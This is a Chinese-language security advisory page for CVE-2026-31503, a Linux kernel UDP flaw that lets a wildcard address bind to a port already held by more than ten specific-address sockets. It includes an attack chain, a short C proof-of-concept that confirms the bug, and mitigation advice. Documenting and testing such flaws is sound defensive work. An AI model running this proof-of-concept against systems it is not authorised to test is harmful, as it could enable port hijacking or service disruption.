IPBUF安全漏洞报告
English
CVE-2026-31503 CVSS 5.5 中危

CVE-2026-31503 Linux内核UDP通配符绑定冲突漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31503
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUDP逻辑错误DoS网络安全

漏洞概述

Linux内核UDP协议栈在处理socket绑定时存在逻辑漏洞。当使用hash2哈希表进行冲突检测时,如果绑定的套接字数量超过阈值(hslot->count > 10),系统会切换检测逻辑。此时,攻击者可以利用该缺陷,在已绑定多个特定地址的端口上成功绑定通配符地址(如0.0.0.0或::),绕过正常的冲突检查。该问题影响IPv4及IPv6环境,可能导致网络服务异常或可用性受损。

技术细节

该漏洞位于UDP协议栈的绑定冲突检查机制中。UDP使用`hash`(仅端口)和`hash2`(地址+端口)两个哈希表。正常情况下,当端口上已有特定地址绑定时,不允许绑定通配符地址。然而,代码在`hslot->count > 10`时切换到`hash2`逻辑,导致`udp_lib_lport_inuse()`在检测通配符地址冲突时失效。具体表现为:先绑定超过10个特定IP地址到同一端口,随后绑定通配符地址将成功,这与TCP的正确实现不一致。修复方案借鉴了TCP的`inet_use_hash2_on_bind`逻辑,确保在切换哈希表时仍能正确校验通配符地址的冲突。

攻击链分析

STEP 1
环境准备
攻击者准备本地环境,确保系统拥有多个可用的本地IP地址(或通过IP别名配置)。
STEP 2
触发哈希切换
创建超过10个UDP套接字,分别绑定到同一端口的不同特定IP地址上,促使内核将冲突检测逻辑从hash切换到hash2。
STEP 3
执行绑定冲突
尝试将另一个UDP套接字绑定到该端口的通配符地址(如0.0.0.0)。由于hash2逻辑缺陷,内核未能检测到与已存在的特定地址绑定冲突。
STEP 4
达成利用
通配符绑定成功,可能导致端口劫持或网络数据包处理异常,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define PORT 8888 #define BIND_COUNT 11 int main() { int sockets[BIND_COUNT]; struct sockaddr_in addr; int i; printf("[+] Starting PoC for CVE-2026-31503...\n"); // Step 1: Bind multiple specific IPs to trigger hash2 usage // Note: This requires the system to have multiple local IPs configured (e.g., aliases) for (i = 0; i < BIND_COUNT; i++) { sockets[i] = socket(AF_INET, SOCK_DGRAM, 0); if (sockets[i] < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); // Example: bind to 127.0.0.1, 127.0.0.2, etc. Ensure these IPs exist. addr.sin_addr.s_addr = htonl(0x7F000001 + i); if (bind(sockets[i], (struct sockaddr*)&addr, sizeof(addr)) < 0) { printf("[-] Failed to bind specific IP 127.0.0.%d (might not exist).\n", i+1); } else { printf("[+] Bound to 127.0.0.%d:%d\n", i+1, PORT); } } // Step 2: Attempt wildcard bind int wildcard_sock = socket(AF_INET, SOCK_DGRAM, 0); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(wildcard_sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) { printf("[!] SUCCESS: Wildcard bind (0.0.0.0:%d) succeeded unexpectedly! Vulnerability confirmed.\n", PORT); } else { printf("[-] FAIL: Wildcard bind failed. System may be patched or prerequisites not met.\n"); } // Cleanup close(wildcard_sock); for (i = 0; i < BIND_COUNT; i++) close(sockets[i]); return 0; }

影响范围

Linux Kernel (修复前的特定版本)

防御指南

临时缓解措施
建议立即更新受影响的Linux内核版本。若无法立即更新,可通过限制普通用户创建大量socket的能力或使用Seccomp等安全机制限制相关系统调用来降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表